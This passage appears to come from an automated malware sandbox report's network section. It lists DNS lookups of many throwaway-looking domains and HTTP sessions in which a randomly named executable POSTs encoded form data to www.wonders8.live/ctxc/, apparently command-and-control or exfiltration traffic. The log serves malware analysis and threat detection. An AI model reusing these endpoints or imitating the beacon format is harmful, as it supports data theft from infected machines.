Oct 7, 2024 12:37:06.075138092 CEST	50047	80	192.168.2.6	8.217.17.192
Oct 7, 2024 12:37:06.082200050 CEST	80	50047	8.217.17.192	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 12:33:29.907469034 CEST	65029	53	192.168.2.6	1.1.1.1
Oct 7, 2024 12:33:29.933248997 CEST	53	65029	1.1.1.1	192.168.2.6
Oct 7, 2024 12:33:45.463882923 CEST	56628	53	192.168.2.6	1.1.1.1
Oct 7, 2024 12:33:46.244936943 CEST	53	56628	1.1.1.1	192.168.2.6
Oct 7, 2024 12:33:59.886643887 CEST	61686	53	192.168.2.6	1.1.1.1
Oct 7, 2024 12:33:59.905442953 CEST	53	61686	1.1.1.1	192.168.2.6
Oct 7, 2024 12:34:13.420811892 CEST	53053	53	192.168.2.6	1.1.1.1
Oct 7, 2024 12:34:13.439279079 CEST	53	53053	1.1.1.1	192.168.2.6
Oct 7, 2024 12:34:27.464713097 CEST	51060	53	192.168.2.6	1.1.1.1
Oct 7, 2024 12:34:27.478151083 CEST	53	51060	1.1.1.1	192.168.2.6
Oct 7, 2024 12:34:40.732362032 CEST	51913	53	192.168.2.6	1.1.1.1
Oct 7, 2024 12:34:40.946930885 CEST	53	51913	1.1.1.1	192.168.2.6
Oct 7, 2024 12:34:54.214430094 CEST	52013	53	192.168.2.6	1.1.1.1
Oct 7, 2024 12:34:54.239947081 CEST	53	52013	1.1.1.1	192.168.2.6
Oct 7, 2024 12:35:07.526848078 CEST	56361	53	192.168.2.6	1.1.1.1
Oct 7, 2024 12:35:07.541565895 CEST	53	56361	1.1.1.1	192.168.2.6
Oct 7, 2024 12:35:20.671493053 CEST	61601	53	192.168.2.6	1.1.1.1
Oct 7, 2024 12:35:21.335228920 CEST	53	61601	1.1.1.1	192.168.2.6
Oct 7, 2024 12:35:34.784984112 CEST	53801	53	192.168.2.6	1.1.1.1
Oct 7, 2024 12:35:34.880687952 CEST	53	53801	1.1.1.1	192.168.2.6
Oct 7, 2024 12:35:48.482403040 CEST	61598	53	192.168.2.6	1.1.1.1
Oct 7, 2024 12:35:48.496912003 CEST	53	61598	1.1.1.1	192.168.2.6
Oct 7, 2024 12:36:01.636467934 CEST	61763	53	192.168.2.6	1.1.1.1
Oct 7, 2024 12:36:01.652199984 CEST	53	61763	1.1.1.1	192.168.2.6
Oct 7, 2024 12:36:09.713977098 CEST	63422	53	192.168.2.6	1.1.1.1
Oct 7, 2024 12:36:10.145410061 CEST	53	63422	1.1.1.1	192.168.2.6
Oct 7, 2024 12:36:23.652781010 CEST	53326	53	192.168.2.6	1.1.1.1
Oct 7, 2024 12:36:23.673620939 CEST	53	53326	1.1.1.1	192.168.2.6
Oct 7, 2024 12:36:36.980202913 CEST	59535	53	192.168.2.6	1.1.1.1
Oct 7, 2024 12:36:37.015419006 CEST	53	59535	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 12:33:29.907469034 CEST	192.168.2.6	1.1.1.1	0x2d93	Standard query (0)	www.whiterabbitgroup.pro	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:33:45.463882923 CEST	192.168.2.6	1.1.1.1	0x87fc	Standard query (0)	www.wonders8.live	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:33:59.886643887 CEST	192.168.2.6	1.1.1.1	0xa405	Standard query (0)	www.golizle22.xyz	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:34:13.420811892 CEST	192.168.2.6	1.1.1.1	0x4ffe	Standard query (0)	www.impulsarnegocios.info	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:34:27.464713097 CEST	192.168.2.6	1.1.1.1	0xf8c1	Standard query (0)	www.nieuws-july202541.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:34:40.732362032 CEST	192.168.2.6	1.1.1.1	0x93a5	Standard query (0)	www.acuarelacr.buzz	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:34:54.214430094 CEST	192.168.2.6	1.1.1.1	0x4342	Standard query (0)	www.booosted.xyz	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:35:07.526848078 CEST	192.168.2.6	1.1.1.1	0xbc93	Standard query (0)	www.gegeesthreadworks.info	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:35:20.671493053 CEST	192.168.2.6	1.1.1.1	0x7b13	Standard query (0)	www.sellvolt.life	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:35:34.784984112 CEST	192.168.2.6	1.1.1.1	0xdcd8	Standard query (0)	www.kk88.live	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:35:48.482403040 CEST	192.168.2.6	1.1.1.1	0x5f3	Standard query (0)	www.cablecarrental.net	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:36:01.636467934 CEST	192.168.2.6	1.1.1.1	0xb55e	Standard query (0)	www.o30cf998d.cfd	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:36:09.713977098 CEST	192.168.2.6	1.1.1.1	0x5796	Standard query (0)	www.kuaimaolife.shop	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:36:23.652781010 CEST	192.168.2.6	1.1.1.1	0xa589	Standard query (0)	www.nieuws-july202491.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:36:36.980202913 CEST	192.168.2.6	1.1.1.1	0xfcaf	Standard query (0)	www.meliorahomes.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 12:33:29.933248997 CEST	1.1.1.1	192.168.2.6	0x2d93	No error (0)	www.whiterabbitgroup.pro	whiterabbitgroup.pro		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 12:33:29.933248997 CEST	1.1.1.1	192.168.2.6	0x2d93	No error (0)	whiterabbitgroup.pro		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:33:29.933248997 CEST	1.1.1.1	192.168.2.6	0x2d93	No error (0)	whiterabbitgroup.pro		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:33:46.244936943 CEST	1.1.1.1	192.168.2.6	0x87fc	No error (0)	www.wonders8.live	wonders8.live		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 12:33:46.244936943 CEST	1.1.1.1	192.168.2.6	0x87fc	No error (0)	wonders8.live		119.18.54.27	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:33:59.905442953 CEST	1.1.1.1	192.168.2.6	0xa405	No error (0)	www.golizle22.xyz		104.21.5.125	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:33:59.905442953 CEST	1.1.1.1	192.168.2.6	0xa405	No error (0)	www.golizle22.xyz		172.67.133.115	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:34:13.439279079 CEST	1.1.1.1	192.168.2.6	0x4ffe	No error (0)	www.impulsarnegocios.info	impulsarnegocios.info		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 12:34:13.439279079 CEST	1.1.1.1	192.168.2.6	0x4ffe	No error (0)	impulsarnegocios.info		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:34:13.439279079 CEST	1.1.1.1	192.168.2.6	0x4ffe	No error (0)	impulsarnegocios.info		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:34:27.478151083 CEST	1.1.1.1	192.168.2.6	0xf8c1	No error (0)	www.nieuws-july202541.sbs	nieuws-july202541.sbs		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 12:34:27.478151083 CEST	1.1.1.1	192.168.2.6	0xf8c1	No error (0)	nieuws-july202541.sbs		162.0.215.33	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:34:40.946930885 CEST	1.1.1.1	192.168.2.6	0x93a5	No error (0)	www.acuarelacr.buzz		161.97.168.245	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:34:54.239947081 CEST	1.1.1.1	192.168.2.6	0x4342	No error (0)	www.booosted.xyz	booosted.xyz		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 12:34:54.239947081 CEST	1.1.1.1	192.168.2.6	0x4342	No error (0)	booosted.xyz		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:34:54.239947081 CEST	1.1.1.1	192.168.2.6	0x4342	No error (0)	booosted.xyz		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:35:07.541565895 CEST	1.1.1.1	192.168.2.6	0xbc93	No error (0)	www.gegeesthreadworks.info	gegeesthreadworks.info		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 12:35:07.541565895 CEST	1.1.1.1	192.168.2.6	0xbc93	No error (0)	gegeesthreadworks.info		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:35:07.541565895 CEST	1.1.1.1	192.168.2.6	0xbc93	No error (0)	gegeesthreadworks.info		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:35:21.335228920 CEST	1.1.1.1	192.168.2.6	0x7b13	No error (0)	www.sellvolt.life		209.74.64.190	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:35:34.880687952 CEST	1.1.1.1	192.168.2.6	0xdcd8	No error (0)	www.kk88.live	kk88.live		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 12:35:34.880687952 CEST	1.1.1.1	192.168.2.6	0xdcd8	No error (0)	kk88.live		68.178.233.113	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:35:48.496912003 CEST	1.1.1.1	192.168.2.6	0x5f3	No error (0)	www.cablecarrental.net	cablecarrental.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 12:35:48.496912003 CEST	1.1.1.1	192.168.2.6	0x5f3	No error (0)	cablecarrental.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:35:48.496912003 CEST	1.1.1.1	192.168.2.6	0x5f3	No error (0)	cablecarrental.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:36:01.652199984 CEST	1.1.1.1	192.168.2.6	0xb55e	Name error (3)	www.o30cf998d.cfd	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:36:10.145410061 CEST	1.1.1.1	192.168.2.6	0x5796	No error (0)	www.kuaimaolife.shop		38.55.251.233	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:36:23.673620939 CEST	1.1.1.1	192.168.2.6	0xa589	No error (0)	www.nieuws-july202491.sbs	nieuws-july202491.sbs		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 12:36:23.673620939 CEST	1.1.1.1	192.168.2.6	0xa589	No error (0)	nieuws-july202491.sbs		162.0.215.33	A (IP address)	IN (0x0001)	false
Oct 7, 2024 12:36:37.015419006 CEST	1.1.1.1	192.168.2.6	0xfcaf	No error (0)	www.meliorahomes.net		8.217.17.192	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.whiterabbitgroup.pro

www.wonders8.live

www.golizle22.xyz

www.impulsarnegocios.info

www.nieuws-july202541.sbs

www.acuarelacr.buzz

www.booosted.xyz

www.gegeesthreadworks.info

www.sellvolt.life

www.kk88.live

www.cablecarrental.net

www.kuaimaolife.shop

www.nieuws-july202491.sbs

www.meliorahomes.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49864	3.33.130.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:33:29.953324080 CEST	512	OUT	GET /woyi/?An=mLdxo2Y8RLRh&ej6Le=liT4ZvY+2rzgu/UySgm47PML3ORjyZfCr6UpwpMzCweBEUZYpuqhq1mvJHjke4Uqr9Ttl6ktg6VhmA6yP/C42/0uWdACaDjPwlAEpqkr1rm8nQp5jQDy/v7kwBfcS6SUx+7tvUI= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Host: www.whiterabbitgroup.pro Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 7, 2024 12:33:30.413278103 CEST	413	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 07 Oct 2024 10:33:30 GMT Content-Type: text/html Content-Length: 273 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 41 6e 3d 6d 4c 64 78 6f 32 59 38 52 4c 52 68 26 65 6a 36 4c 65 3d 6c 69 54 34 5a 76 59 2b 32 72 7a 67 75 2f 55 79 53 67 6d 34 37 50 4d 4c 33 4f 52 6a 79 5a 66 43 72 36 55 70 77 70 4d 7a 43 77 65 42 45 55 5a 59 70 75 71 68 71 31 6d 76 4a 48 6a 6b 65 34 55 71 72 39 54 74 6c 36 6b 74 67 36 56 68 6d 41 36 79 50 2f 43 34 32 2f 30 75 57 64 41 43 61 44 6a 50 77 6c 41 45 70 71 6b 72 31 72 6d 38 6e 51 70 35 6a 51 44 79 2f 76 37 6b 77 42 66 63 53 36 53 55 78 2b 37 74 76 55 49 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?An=mLdxo2Y8RLRh&ej6Le=liT4ZvY+2rzgu/UySgm47PML3ORjyZfCr6UpwpMzCweBEUZYpuqhq1mvJHjke4Uqr9Ttl6ktg6VhmA6yP/C42/0uWdACaDjPwlAEpqkr1rm8nQp5jQDy/v7kwBfcS6SUx+7tvUI="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49969	119.18.54.27	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:33:46.262151957 CEST	763	OUT	POST /ctxc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.wonders8.live Origin: http://www.wonders8.live Connection: close Content-Length: 210 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.wonders8.live/ctxc/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 2b 66 4c 51 79 64 6f 69 34 43 78 57 71 41 79 73 49 5a 4e 44 62 79 61 6d 75 59 71 38 42 56 31 63 58 45 6f 57 49 62 77 75 62 74 32 44 30 74 34 39 53 31 6b 52 35 63 68 73 38 38 59 44 68 6c 51 65 50 6b 43 54 31 30 7a 54 54 56 51 78 6b 31 68 46 79 64 52 79 78 43 4c 36 6e 4e 44 74 6d 6a 66 48 63 6c 47 79 49 52 70 75 43 45 39 31 57 65 58 47 6d 53 4d 61 71 51 76 38 35 6b 68 47 49 56 65 34 39 4b 64 77 4d 78 31 73 42 61 33 67 74 6f 73 73 45 47 2b 54 2f 7a 5a 36 54 41 73 5a 52 66 62 66 53 51 46 6e 54 42 47 50 35 78 34 6f 6a 4b 4d 49 67 4b 55 32 67 37 6a 7a 66 39 72 39 39 2b 6d 44 37 38 4c 50 38 77 77 38 59 4e 53 63 Data Ascii: ej6Le=+fLQydoi4CxWqAysIZNDbyamuYq8BV1cXEoWIbwubt2D0t49S1kR5chs88YDhlQePkCT10zTTVQxk1hFydRyxCL6nNDtmjfHclGyIRpuCE91WeXGmSMaqQv85khGIVe49KdwMx1sBa3gtossEG+T/zZ6TAsZRfbfSQFnTBGP5x4ojKMIgKU2g7jzf9r99+mD78LP8ww8YNSc
Oct 7, 2024 12:33:47.257277012 CEST	643	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 10:33:47 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 01 Mar 2021 15:47:38 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 358 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 52 4b 4f c3 30 0c be ef 57 58 41 93 e0 b0 b6 7b 30 6d 7d 09 21 71 e1 02 37 b8 4d 59 93 b6 5e db 24 4a b2 17 13 ff 9d 74 ad 0a 1c 90 48 a4 c4 ce f7 f9 b3 6c 27 2e 6d 53 a7 a3 b8 e4 94 a5 23 70 2b 36 f6 5c f3 ce 6e 97 57 4b ca b8 86 0b 6c a5 76 46 08 d3 a5 3a 81 91 35 32 b8 c9 e7 ed 8e 7a 6c 62 a5 fa 8d cf 17 eb 15 db 0e b8 a6 0c f7 26 84 fb 60 1c c1 11 99 2d 1d 7d 16 a8 53 04 25 c7 a2 b4 83 4b 05 36 d4 a2 14 21 18 85 02 66 06 6a 14 9c 6a 40 91 a3 40 cb 23 50 d2 60 47 c9 f1 c4 59 04 d7 f4 8b 56 bb e6 b9 ed cd cf a1 94 87 8a 9f 73 4d 1b 6e 3a cd 0b 04 63 77 58 4d 85 c9 a5 6e 42 d0 d2 52 cb 6f 03 c6 8b 3b 17 09 d3 e0 0f c6 7c 39 70 3a fd d8 ff d1 b7 d8 64 1a 95 85 9a 8a 62 4f 0b 9e 90 67 7a a0 dd 23 49 0f ae 88 8d a9 3e 36 ca 75 28 01 b2 7e 7d 79 7c 7a 5f 05 6f 24 72 2a 57 d2 3f 64 c0 e8 2c 21 a5 b5 2a f4 fd 8c 09 6f 67 da b6 78 0c 35 cf 6c 7e 64 5e 26 1b df 54 93 9d 51 54 57 9b 2b a8 4a 45 d2 ef 24 b1 df cd 3d de 4a 76 76 17 c3 03 64 35 35 26 21 dd d4 09 20 4b 88 13 e9 [TRUNCATED] Data Ascii: RKO0WXA{0m}!q7MY^$JtHl'.mS#p+6\nWKlvF:52zlb&`-}S%K6!fjj@@#P`GYVsMn:cwXMnBRo;\|9p:dbOgz#I>6u(~}y\|z_o$rW?d,!ogx5l~d^&TQTW+JE$=Jvvd55&! K]8m`wcG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49987	119.18.54.27	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:33:48.825151920 CEST	787	OUT	POST /ctxc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.wonders8.live Origin: http://www.wonders8.live Connection: close Content-Length: 234 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.wonders8.live/ctxc/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 2b 66 4c 51 79 64 6f 69 34 43 78 57 73 67 43 73 62 75 52 44 51 79 61 68 67 34 71 38 50 31 31 59 58 45 6b 57 49 66 42 6c 62 2f 53 44 31 4d 49 39 54 30 6b 52 36 63 68 73 6b 4d 59 43 2b 31 52 51 50 6b 4f 62 31 31 50 54 54 56 45 78 6b 30 52 46 31 71 6c 78 77 53 4c 30 72 74 44 76 6f 44 66 48 63 6c 47 79 49 52 74 49 43 41 52 31 57 4e 66 47 30 6a 4d 62 6d 77 76 7a 2b 6b 68 47 5a 46 65 30 39 4b 64 53 4d 7a 42 43 42 59 66 67 74 74 51 73 48 54 4b 63 78 7a 5a 38 4d 51 74 49 5a 2f 53 74 49 78 55 52 5a 6a 4b 59 70 57 34 38 76 63 4e 53 38 35 55 56 79 72 44 78 66 2f 7a 50 39 65 6d 70 35 38 7a 50 75 6e 38 62 58 35 33 2f 53 76 77 76 39 51 5a 32 74 69 5a 70 49 75 43 32 6a 73 76 59 55 77 3d 3d Data Ascii: ej6Le=+fLQydoi4CxWsgCsbuRDQyahg4q8P11YXEkWIfBlb/SD1MI9T0kR6chskMYC+1RQPkOb11PTTVExk0RF1qlxwSL0rtDvoDfHclGyIRtICAR1WNfG0jMbmwvz+khGZFe09KdSMzBCBYfgttQsHTKcxzZ8MQtIZ/StIxURZjKYpW48vcNS85UVyrDxf/zP9emp58zPun8bX53/Svwv9QZ2tiZpIuC2jsvYUw==
Oct 7, 2024 12:33:49.803615093 CEST	643	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 10:33:49 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 01 Mar 2021 15:47:38 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 358 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 52 4b 4f c3 30 0c be ef 57 58 41 93 e0 b0 b6 7b 30 6d 7d 09 21 71 e1 02 37 b8 4d 59 93 b6 5e db 24 4a b2 17 13 ff 9d 74 ad 0a 1c 90 48 a4 c4 ce f7 f9 b3 6c 27 2e 6d 53 a7 a3 b8 e4 94 a5 23 70 2b 36 f6 5c f3 ce 6e 97 57 4b ca b8 86 0b 6c a5 76 46 08 d3 a5 3a 81 91 35 32 b8 c9 e7 ed 8e 7a 6c 62 a5 fa 8d cf 17 eb 15 db 0e b8 a6 0c f7 26 84 fb 60 1c c1 11 99 2d 1d 7d 16 a8 53 04 25 c7 a2 b4 83 4b 05 36 d4 a2 14 21 18 85 02 66 06 6a 14 9c 6a 40 91 a3 40 cb 23 50 d2 60 47 c9 f1 c4 59 04 d7 f4 8b 56 bb e6 b9 ed cd cf a1 94 87 8a 9f 73 4d 1b 6e 3a cd 0b 04 63 77 58 4d 85 c9 a5 6e 42 d0 d2 52 cb 6f 03 c6 8b 3b 17 09 d3 e0 0f c6 7c 39 70 3a fd d8 ff d1 b7 d8 64 1a 95 85 9a 8a 62 4f 0b 9e 90 67 7a a0 dd 23 49 0f ae 88 8d a9 3e 36 ca 75 28 01 b2 7e 7d 79 7c 7a 5f 05 6f 24 72 2a 57 d2 3f 64 c0 e8 2c 21 a5 b5 2a f4 fd 8c 09 6f 67 da b6 78 0c 35 cf 6c 7e 64 5e 26 1b df 54 93 9d 51 54 57 9b 2b a8 4a 45 d2 ef 24 b1 df cd 3d de 4a 76 76 17 c3 03 64 35 35 26 21 dd d4 09 20 4b 88 13 e9 [TRUNCATED] Data Ascii: RKO0WXA{0m}!q7MY^$JtHl'.mS#p+6\nWKlvF:52zlb&`-}S%K6!fjj@@#P`GYVsMn:cwXMnBRo;\|9p:dbOgz#I>6u(~}y\|z_o$rW?d,!ogx5l~d^&TQTW+JE$=Jvvd55&! K]8m`wcG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49992	119.18.54.27	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:33:51.374537945 CEST	1800	OUT	POST /ctxc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.wonders8.live Origin: http://www.wonders8.live Connection: close Content-Length: 1246 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.wonders8.live/ctxc/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 2b 66 4c 51 79 64 6f 69 34 43 78 57 73 67 43 73 62 75 52 44 51 79 61 68 67 34 71 38 50 31 31 59 58 45 6b 57 49 66 42 6c 62 2f 61 44 31 2b 77 39 54 58 63 52 37 63 68 73 36 38 59 66 2b 31 51 4d 50 6e 2b 6c 31 31 44 74 54 58 38 78 6c 58 4a 46 77 65 35 78 35 53 4c 30 6a 4e 44 75 6d 6a 66 6f 63 6c 57 32 49 53 46 49 43 41 52 31 57 4d 50 47 32 79 4d 62 67 77 76 38 35 6b 68 61 49 56 65 59 39 4f 78 6a 4d 7a 46 38 55 35 2f 67 74 4a 4d 73 47 6c 6d 63 35 7a 5a 2b 50 51 74 51 5a 2f 4f 32 49 78 49 73 5a 69 2b 79 70 52 34 38 74 6f 67 4c 37 4e 6c 4c 68 6f 66 78 66 76 50 49 78 61 57 70 67 4b 50 63 6f 33 41 35 57 72 72 57 63 4a 77 49 77 42 51 43 6c 6a 46 36 4c 37 54 56 67 4f 69 47 4b 43 4f 7a 66 54 39 31 39 65 6e 63 64 67 46 4a 46 61 59 34 42 6e 6b 48 36 37 67 30 76 6f 39 74 63 67 4e 44 46 79 6f 62 45 70 31 62 4d 55 6d 6d 71 64 79 46 46 64 71 68 72 76 48 64 42 42 56 50 59 59 56 52 73 58 43 67 56 49 6b 4c 53 71 42 34 54 6e 41 70 67 65 73 51 76 48 4e 59 45 38 4f 43 70 31 65 4e 6d 62 2b 4f 45 52 36 4a [TRUNCATED] Data Ascii: ej6Le=+fLQydoi4CxWsgCsbuRDQyahg4q8P11YXEkWIfBlb/aD1+w9TXcR7chs68Yf+1QMPn+l11DtTX8xlXJFwe5x5SL0jNDumjfoclW2ISFICAR1WMPG2yMbgwv85khaIVeY9OxjMzF8U5/gtJMsGlmc5zZ+PQtQZ/O2IxIsZi+ypR48togL7NlLhofxfvPIxaWpgKPco3A5WrrWcJwIwBQCljF6L7TVgOiGKCOzfT919encdgFJFaY4BnkH67g0vo9tcgNDFyobEp1bMUmmqdyFFdqhrvHdBBVPYYVRsXCgVIkLSqB4TnApgesQvHNYE8OCp1eNmb+OER6Jn1EqKGhJeA31sN+7YtyVgTyNkqKctJQ8y4HHisg+HyPM268PO7pJX5y45xE9kj/8Cfv47p+u6N8d1ASJkMkAaCtvdL/XFNaMjn0xCV/EuD8sC4kBTcKW8VKG/f2cf6ojeNeBpXvfqul/HZ2yD9OwoMz04K/zOqvE9Gt1B41bQppKrLntDRo31qT28L8piZEJHR3Hd8NQ+NsZIYaUx8t2Kxv9RdbB07IkvQJeKldef+D9cmQp9XcVjdcoHBwoxEIMhcmuEmHUtpwrd60ZMGyh1h1f+nIp5rmiq4A7LB0/qFPS+g6TfLUvYkzVtGD82Ck65AWQmw80AiNXWLIt98hIsNH1JSKHLzsPfZG/9Mq5AK+Z4RhdiNY9/acxtAio1cIt91AaKscYczjBb5UDzH0NpLswqa4cZs5ondOSsFGivfqoQ+/sdZee1B7qLrK6KQhw+Cw6XhR2TI63B5fYBETLbX5M8hK8pHHGG/YZUfhuzFmX7etzh5uWYXfJyhkRi99VZwZ9oh5KOlo8L/mFRYJelErpqpEvltsaL+XsyjgssTV6N9+8jss8gT8ZVLC/cZEHACnXBtIHC9XznJQVEZaVenXT7I1OKXJtoEClPRlsBuVvMBTZ6CybeIrHSe4F6JggHxIAwQNgCLqrYIwi4lKVBC5fbD8nAvFAyn [TRUNCATED]
Oct 7, 2024 12:33:52.367022038 CEST	643	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 10:33:52 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 01 Mar 2021 15:47:38 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 358 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 52 4b 4f c3 30 0c be ef 57 58 41 93 e0 b0 b6 7b 30 6d 7d 09 21 71 e1 02 37 b8 4d 59 93 b6 5e db 24 4a b2 17 13 ff 9d 74 ad 0a 1c 90 48 a4 c4 ce f7 f9 b3 6c 27 2e 6d 53 a7 a3 b8 e4 94 a5 23 70 2b 36 f6 5c f3 ce 6e 97 57 4b ca b8 86 0b 6c a5 76 46 08 d3 a5 3a 81 91 35 32 b8 c9 e7 ed 8e 7a 6c 62 a5 fa 8d cf 17 eb 15 db 0e b8 a6 0c f7 26 84 fb 60 1c c1 11 99 2d 1d 7d 16 a8 53 04 25 c7 a2 b4 83 4b 05 36 d4 a2 14 21 18 85 02 66 06 6a 14 9c 6a 40 91 a3 40 cb 23 50 d2 60 47 c9 f1 c4 59 04 d7 f4 8b 56 bb e6 b9 ed cd cf a1 94 87 8a 9f 73 4d 1b 6e 3a cd 0b 04 63 77 58 4d 85 c9 a5 6e 42 d0 d2 52 cb 6f 03 c6 8b 3b 17 09 d3 e0 0f c6 7c 39 70 3a fd d8 ff d1 b7 d8 64 1a 95 